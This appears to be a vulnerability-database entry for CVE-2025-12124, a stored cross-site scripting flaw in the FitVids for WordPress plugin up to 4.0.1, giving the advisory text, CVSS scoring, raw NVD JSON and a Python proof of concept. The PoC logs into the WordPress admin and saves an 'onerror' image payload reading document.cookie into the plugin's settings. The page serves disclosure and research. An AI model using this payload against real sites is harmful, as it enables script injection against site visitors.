Security Vulnerability Report
中文
CVE-2025-12124 CVSS 4.4 MEDIUM

CVE-2025-12124

Published: 2025-12-05 06:16:05
Last Modified: 2026-04-15 00:35:42

Description

The FitVids for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FitVids for WordPress plugin <= 4.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-12124 PoC - FitVids for WordPress Stored XSS # Target: WordPress site with FitVids plugin <= 4.0.1 # Authentication: Administrator access required TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def exploit_stored_xss(): """ This PoC demonstrates the stored XSS vulnerability in FitVids plugin. The XSS payload is injected through the plugin's admin settings. """ session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Access FitVids plugin settings page settings_url = f"{TARGET_URL}/wp-admin/options-general.php?page=fitvids-for-wordpress" # Step 3: Inject XSS payload in settings # Payload: <img src=x onerror=alert(document.cookie)> xss_payload = '<img src=x onerror=alert(document.cookie)>' settings_data = { 'fitvids_selector': xss_payload, # XSS injection point 'fitvids_custom': xss_payload, 'submit': 'Save Changes' } response = session.post(settings_url, data=settings_data) # Step 4: Trigger XSS by accessing any page with FitVids content print(f"[+] XSS payload injected: {xss_payload}") print(f"[+] Payload will execute when users access pages with FitVids content") print(f"[+] Affected versions: FitVids for WordPress <= 4.0.1") return True if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12124", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:05.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FitVids for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/fitvids-for-wordpress/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/063a245d-bd9e-49ac-bdf0-549a25eba9fe?source=cve", "source": "[email protected]"}]}}